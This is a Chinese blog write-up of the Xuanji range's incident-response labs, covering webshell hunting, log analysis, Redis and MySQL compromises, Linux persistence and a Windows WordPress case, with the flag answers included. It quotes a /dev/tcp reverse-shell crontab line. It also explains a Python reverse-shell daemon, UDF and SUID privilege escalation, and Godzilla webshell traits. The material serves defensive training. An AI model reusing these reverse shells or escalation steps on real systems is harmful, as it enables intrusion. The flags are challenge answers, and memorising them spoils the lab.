type
status
date
slug
summary
tags
category
icon
password
前言:
玄机靶场挑战记录。
祝您度过愉快的一天!
第一章 应急响应-webshell查杀
连接靶机,查看日志
是apache提供web服务
查看端口开放情况
确认apache+php
查找apache配置文件位置
查看文件,寻找网站根目录(一般情况下在/var/www/html)
发现
且
AllowOverride None
,不允许任何 .htaccess
文件覆盖该目录中的设置。
find找webshell
发现第一个隐藏的flag1 flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
此外,很明显,这是哥斯拉,github地址https://github.com/BeichenDream/Godzilla
md5得
39392DE3218C333F794BEFEF07AC9257
拼接得flag2 flag{
39392DE3218C333F794BEFEF07AC9257
}现在要找隐藏shell,提示路径
/xxx/xxx/xxx/xxx/xxx.xxx
打包根目录到本地,用D盾扫描
发现有一个隐藏文件
对路径
/var/www/html/include/Db/.Mysqli.php
进行md5加密得AEBAC0E58CD6C5FAD1695EE4D1AC1919
拼接flag3 flag{
AEBAC0E58CD6C5FAD1695EE4D1AC1919
}还差一个免杀马
php免杀马通常字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现
通过find去匹配关键字查询,先查最常见的base64
对路径
/var/www/html/wap/top.php
加密得EEFF2EABFD9B7A6D26FC1A53D3F7D1DE
拼接flag4 flag{
EEFF2EABFD9B7A6D26FC1A53D3F7D1DE
}第一章 应急响应-Linux日志分析
需要查看日志
查看爆破主机ssh root账号的IP
拼接flag1
flag{192.168.200.2,192.168.200.31,192.168.200.32}
(注意顺序)命令解析
| grep -a "Failed password for root”
使用管道将 cat
的输出传递给 grep
,-a
选项用于将二进制文件视为文本文件,通常在日志文件中不需要使用,但它确保所有文件都被当作文本处理
| awk '{print $11}’
使用管道将 grep
的输出传递给 awk
,awk
是一个强大的文本处理工具,这里用于提取日志行中的第 11 个字段(默认以空格或制表符作为字段分隔符)。在这种类型的日志文件中,第 11 个字段通常是尝试登录的 IP 地址
| sort
使用管道将 awk
的输出传递给 sort
,对提取的 IP 地址进行排序
| uniq -c
使用管道将排序后的输出传递给 uniq
,该命令用于统计每个唯一 IP 地址出现的次数,并在每行前添加出现次数| sort -nr
根据出现次数对 IP 地址进行降序排序(-n
表示按数值排序,-r
表示降序)
| more
分页显示输出结果查看ssh爆破成功登陆的IP
拼接flag2
flag{192.168.200.2}
"Accepted password for root"
即日志中登录成功记录查看爆破用户名字典
拼接flag3
flag{user,hello,root,test3,test2,test1}
命令解析
| perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}’
使用管道将 grep
的输出传递给 Perl 脚本,perl -e
选项用于执行 Perl 代码这段 Perl 代码对每一行进行处理:
while($_=<>)
:读取每一行输入。
/for(.*?) from/
:正则表达式匹配 "for" 和 "from" 之间的内容(通常是用户名)。
print "$1\n";
:将匹配到的用户名打印出来
查看登陆成功的IP爆破次数
见flag1 flag2 命令得flag4
flag{4}
查看黑客登陆主机后新建的一个后门用户 用户名
flag5
flag{test2}
第一章 应急响应- Linux入侵排查
找木马,通过命令方式
可见1.php文件是一个木马,密码
1
flag1 flag{1}
也可D盾扫
找不死马,通过观察三面三个php文件可以知道是.shell.php
md5解密
得flag2 flag{hello}
找生成不死马的文件——index.php
flag3 flag{index.php}
分析一下文件
找黑客服务器ip
以上命令先执行文件,后查看网络,生产环境下不建议
抓到了
flag4 flag{10.11.55.21}
flag5 flag{3333}
其他:把文件丢进云沙箱跑跑 微步、360都行
整个过程保证网络连接正常,非正常可能导致运行执行文件命令后无法正常执行,系统无法正常调用,可用
strace
跟踪例如此篇
第二章日志分析-apache日志分析
与日志相关,apache日志通常在/var/log/apache2下
这里也找一下apache日志所在位置
首先试试看找apache配置文件
只有
ErrorLog
,没有CustomLog
那只能直接找一下,
找访问次数最多的IP
flag1 flag{192.168.200.2}
awk '{print $1}’
使用 awk
命令处理前一步的输出,提取每一行的第一个字段,通常是IP地址
uniq -c
输出每个IP地址及其对应的访问次数
head -n 10
显示前10个结果查看浏览器指纹
此处需排查,简单根据时间就行
此处是分界,往前时间访问是404,往后是200,可推测往前时间的有黑客浏览器指纹
得
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
md5加密
2d6330f380f44ac20f3a02eed0958f66
flag2 flag{2d6330f380f44ac20f3a02eed0958f66}
查看index.php被访问次数
flag3 flag{27}
wc -l
计算并输出包含 /index.php
的行数,即访问 /index.php
页面的次数
查看黑客ip访问了多少次
flag4 flag{6555}
为什么是
192.168.200.2 - -
?—由上面可以知道,apache日志条目为
即格式如下:
- -
表示客户端没有提供身份验证信息。因此,这两个破折号是日志格式的一部分,用于占位所以grep
"192.168.200.2 - -"
的原因是为了精确匹配日志格式,确保匹配的是标准的、未认证用户的日志条目
查看2023年8月03日8时这一个小时内有多少IP访问
flag5 flag{5}
第二章日志分析-redis应急响应
分析黑客攻击成功的 IP
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交
打包文件到本地分析
查看redis.log
明显有爆破
flag1
flag
{192.168.100.20}
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交
分析redis.log
找这个文件
不能正常看,用010editor看看
flag2
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
分析黑客反弹 shell 的IP
flag3
flag{192.168.100.13}
crontab
管理用户的计划任务表的命令-l
列出当前用户的 crontab
文件内容
/bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
利用 /bin/sh
通过 TCP 连接向指定的 IP 地址和端口发送输入输出流,实现一个反向 shell 连接
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串
留下了用户名
xj-test-user
github搜搜
flag4
flag
{
xj
-
test
-
user
-
wow
-
you
-
find
-
flag
}
分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交
经典命令替换
关键字符串
c195i2923381905517d818e313792d196
flag5
flag{c195i2923381905517d818e313792d196}
为什么要进入
/usr/bin/
目录/usr/bin
目录中通常包含大量的系统和应用程序的可执行文件。将恶意文件放在这里,可以利用文件数量的优势,使它们不容易被发现
/usr/bin
目录中的文件通常是由具有较高权限的用户(如root
用户)运行的。篡改这些文件,攻击者可以更容易地获取系统级权限
- 某些文件可能在系统启动时或通过
cron
任务自动运行。篡改这些文件可以使恶意软件在系统启动或特定时间点自动运行,确保攻击者的代码持久存在
怎么恢复原始文件?
从备份或安装包中恢复原始文件,或者重新下载对应的包
第二章日志分析-mysql应急
1.黑客第一次写入的shell
flag1 flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
2.黑客反弹shell的ip
到mysql日志查看一下(只有一个error.log)
执行了/tmp/1.sh,但未找到命令,指出脚本中的每一行都被解释器当作命令来尝试执行,但由于这些行实际上是HTTP响应的一部分(例如日期、状态信息、长度描述等),shell无法识别并执行它们,从而导致了一系列的错误
去看看
有一个反弹shell
flag2 flag{192.168.100.13}
3.黑客提权文件的完整路径
黑客通过反弹shell拿到服务器权限,并且需要提权,从数据库权限提权到主机用户权限→通过数据库服务打过来的
需要先获得mysql的用户名和密码,通常情况下获得账户密码有以下方式:
- MySQL 3306 端口弱口令爆破
- sqlmap 注入的
--sql-shell
模式
- 网站的数据库配置文件中拿到明文密码信息
- CVE-2012-2122 等这类漏洞直接拿下MySQL权限
猜测是udf提权(用户自定义函数,常见)
定位到
./common.php:$conn=mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");
登录数据库
secure_file_priv 字段为空,具有写入权限
一般进行了提权,一定会在/usr/lib/mysql/plugin/目录下留下痕迹,udf.so,被人写了自定义函数都库中
路径加密,得flag
flag3 flag{b1818bde4e310f3d23f1005185b973e7}
4.黑客获取的权限
select * from mysql.func;
在这个表查询到新增函数select sys_eval('whoami');
用新增函数查询系统命令或者ps查看当前系统进程状态
-a
显示所有用户的进程flag4 flag{mysql}
第三章 权限维持-linux权限维持-隐藏
1.黑客隐藏的隐藏的文件 完整路径
-type d
:这是一个选项,指定只搜索目录(d
表示目录,f
表示文件).*
表示以.
开头的所有名称,即隐藏目录。2>/dev/null
:这是将错误输出(标准错误流,文件描述符2)重定向到/dev/null
,即忽略错误消息libprocesshider
是一个用于隐藏进程的工具,通常用于在 Linux 系统上隐藏运行的进程,使其不被标准的进程查看工具(如 ps
, top
)所察觉只有1.py由执行权限
加密目录
/tmp/.temp/libprocesshider/1.py
得flag1
flag{109ccb5768c70638e24fb46ee7957e37}
2.黑客隐藏的文件反弹shell的ip+端口
查看1.py
socket
:用于网络编程,创建客户端与服务器之间的连接subprocess
:用于生成新的进程,如在本例中启动一个新的bash shellos
:提供了与操作系统交互的各种功能,如进程管理、文件操作等sys
:提供访问和控制Python解释器的一些功能time
:用于时间相关的操作,如延时连续进行了两次
os.fork()
调用,实现从父进程到子进程再孙子进程的转变,并在每次调用后通过判断返回值决定是否退出当前进程。这一系列操作是为了将程序转为一个无终端的后台进程(daemon化),使其在后台持续运行且不易被直接观察到os.chdir("/")
:改变当前工作目录到根目录os.setsid()
:创建一个新的会话,并成为该会话的首进程,进一步脱离与终端的关联os.umask(0)
:设置文件权限掩码为0,确保后续创建的文件或目录具有最宽松的权限无限循环及异常处理
while 1:
表示一个无限循环,确保连接失败后能不断尝试重新建立
- 在循环内部,首先刷新标准输出和错误缓冲区,并将它们重定向到
/dev/null
,以消除可能的日志记录或屏幕输出
- 使用
socket
模块创建TCP连接到指定的攻击者服务器地址和端口
- 接着,通过
os.dup2()
三次调用,将标准输入(0)、标准输出(1)、标准错误(2)都重定向到刚建立的socket连接上,实现与远程服务器的双向通信
- 使用
subprocess.call
启动一个交互式的bash shell (/bin/bash -i
),使得攻击者可以通过此socket连接发送命令并接收输出
- 如果连接或命令执行过程中出现异常,则捕获并忽略它,然后等待2秒后继续尝试
flag2
flag{114.114.114.121:9999}
3.黑客提权所用的命令 完整路径的md5
查找系统中所有具有 SUID 权限的文件
-perm -4000
:查找具有特定权限的文件。-perm
参数用于指定文件权限的模式,在这种情况下,-4000
表示查找所有设置了 SUID(Set User ID)位的文件,数字 4
表示 SUID 位,三个 0
分别代表常规权限(用户、组和其他人)的占位符
切换至普通用户ctffind提权成功
/usr/bin/find
加密flag3 flag{7fd5884f493f4aaf96abee286ee04120}
4黑客尝试注入恶意代码的工具完整路径md5
翻目录
在/opt下发现
.cymothoa-1-beta
,而cymothoa-1-beta
是一个后面隐藏工具路径
/opt/.cymothoa-1-beta/cymothoa
加密flag4 flag{087c267368ece4fcf422ff733b51aed9}
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值
执行文件并查看网络连接
/proc/464/cmdline
是一个虚拟文件,包含进程 ID 为 464 的进程的启动命令行参数完整的执行程序 /usr/bin/python3.4
得
flag
{/
usr
/
bin
/
python3
.4}
第四章 windows实战-wordpress
任务管理器中可以看到phpstudy在运行服务,暂无其他网站服务
是WAMP
查找攻击者攻击成功的第一时间
查日志
奇怪,在apache日志下没找到,在nginx下找到了(
另,nginx日志位置
C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log
)flag1
flag
{2023:04:29
22:45:23}
2.提交攻击者的浏览器版本
见上图
flag2
flag
{
Firefox
/110.0}
3.提交攻击者目录扫描所使用的工具名称
flag3
flag{Fuzz Faster U Fool}
4.找到攻击者写入的恶意后门文件
D盾
根目录下可见隐藏文件
flag4
flag{C:\phpstudy_pro\WWW\.x.php}
5.找到攻击者隐藏在正常web应用代码中的恶意代码
flag5
flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}
6.请指出可疑进程采用的自动启动的方式,启动的脚本的名字
沙箱云扫描windows目录下的360.exe
还有个x.bat
指向360.exe
flag6
flag{x.bat}
其他
哥斯拉php马
- webshell配置,常见于文件头session_start(); @set_time_limit(0); @error_reporting(0);
- 默认的加解密盐值:3c6e0b8a9c15224a
- 有一个向SESSION中存储攻击荷载的过程,就是会有一个
$_SESSION[$XXX]=P
的过程
第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。
从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端
参考文章:
https://godyu.com/12918.html
https://zhuanlan.zhihu.com/p/697953505
https://xz.aliyun.com/t/14254?time__1311=mqmx9QiQi%3D0%3DDQeDsNOfpQIyPGuwkrD&alichlgref=https%3A%2F%2Fwww.google.com%2F
- 作者:fnigkl
- 链接:https://www.fnigkl.com/article/005
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。